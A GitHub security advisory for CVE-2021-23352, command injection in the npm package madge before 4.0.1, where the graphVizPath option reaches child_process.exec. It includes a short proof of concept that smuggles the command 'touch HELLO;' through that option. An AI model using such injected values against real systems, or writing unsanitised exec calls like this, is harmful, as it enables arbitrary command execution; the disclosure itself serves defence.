GitHub Advisoryadvisory · npm
GHSA-753c-phhg-cj29 Madge vulnerable to command injection
HIGH
Official page ↗
- Aliases
- CVE-2021-23352
- Ecosystem
- npm
- Packages
- madge
- Severity
- High
- Weaknesses
- CWE-77, CWE-89
- Reviewed
- 2021-03-12
Affected packages
• npm madge: < 4.0.1 → fixed in 4.0.1
Description
This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.
PoC
```js
const madge = require('madge');
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });
```
Related
Alias · CVE (1)
- CVE-2021-23352 This affects the package madge before 4.0.1. vulnerability